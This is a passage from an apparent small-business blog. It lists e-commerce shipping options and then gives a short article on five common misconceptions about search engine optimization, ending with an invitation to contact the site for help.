Having a ‘pick up from store’ option on your website also gives you an opportunity to cross-sell and up-sell products to these customers when they come to pick up their order.

2. Flat Rate

Offering a flat shipping rate implies charging every customer the same amount for shipping, regardless of their orders and locations. This encourages them to purchase more products since a fixed cost is charged regardless of how many products they order.

However, ensure flat rate shipping is profitable for your business, especially if you sell products that vary greatly in size and weight.

3. Free Delivery

This is a good way to get your customer’s attention. A free delivery option can increases sales. Customers order for many products since the delivery of their orders is FREE- No Shipping Rate Required!

It also makes your customers become loyal to your website. They come back to buy more and also refer others to your website.

4. Per Item/Product Shipping

This makes it easy to add the appropriate shipping fees to specific items, especially large and bulky items. It keeps you from losing money on your transactions.

5. Fixed Cost Per Location

This is the most commonly used shipping option. Shipping rate is charged based on the customer’s location.

Conclusion

We’ve shared the 5 delivery options you can consider for your online store.

You can use one or more of these shipping options. Simply determine what works best for you as a business.

5 Of The Biggest Misconceptions About SEO

5 Of The Biggest Misconceptions About SEO

Search Engine Optimization is a big deal in digital marketing today, every business owner wants their website to appear on the first page of search engines when their relevant keywords are being searched for, this is because most internet users do not go past the first page.

In a nutshell, what is Search Engine Optimization all about? SEO are the strategies involved in increasing your website visibility on search engines.

According to www.searchengineland.com

SEO is the process of getting traffic from the “free,” “organic,” “editorial” or “natural” search results on search engines.

Search Engine Optimization is constantly changing and over the years, there have been some misconceptions about what SEO is all about.

In this article, we will be sharing with you 5 of the Biggest Misconceptions about Search Engine Optimization.

1. SEO is only about keywords and links.

This is a major misconception people have about SEO. Yes, keywords and links are important, but they are not the only factors. If you are depending on keywords and links to help boost your page ranking, then you might not be too happy with the results.

2. SEO works only on Google.

We are sure this is not the first time you’ve heard that SEO works only on Google. Without a doubt, Google is the most used search engine, but as the name connotes ‘Search Engine Optimization’ not ‘Google Optimization’, your website can be optimized for other different search engines, e.g. Bing, Yahoo, etc.

According to www.gshiftlabs.com, 400,000,000 and 300,000,000 unique monthly visitors use Bing and Yahoo respectively (Oct. 2016).

3. Focuses on Quantity over Quality.

It is not just about how frequent you put out content; search engine algorithms recognize high-quality content and if something is particularly high quality it will sell. Although it might be tough at the beginning, but quality is definitely the safe path to SEO.

Note that quantity (consistency) is equally good when they are quality contents.

4. SEO is for the Big Brands

SEO is not only for the big industry leaders; smaller businesses can also get results through search engine optimization.

5. SEO is a “one-time” Thing

Many businesses believe SEO is a one-time thing, which is false. SEO is a never-ending process; you have to optimize your pages, post relevant content and improve your site’s structure frequently. SEO requires a lot of focus and consistency.

Conclusion

For your business to survive in today’s competitive market, SEO is very important. Search engines serve millions of internet users every day.

So, take advantage of SEO to grow your business and meet its objective.

We really hope you’ve found this article helpful.

If you need help or guidance in improving your website search engine optimization, simply Contact Us. We’d be happy to assist.

Do you have questions or comments concerning search engine optimization? Please feel free to leave a reply below.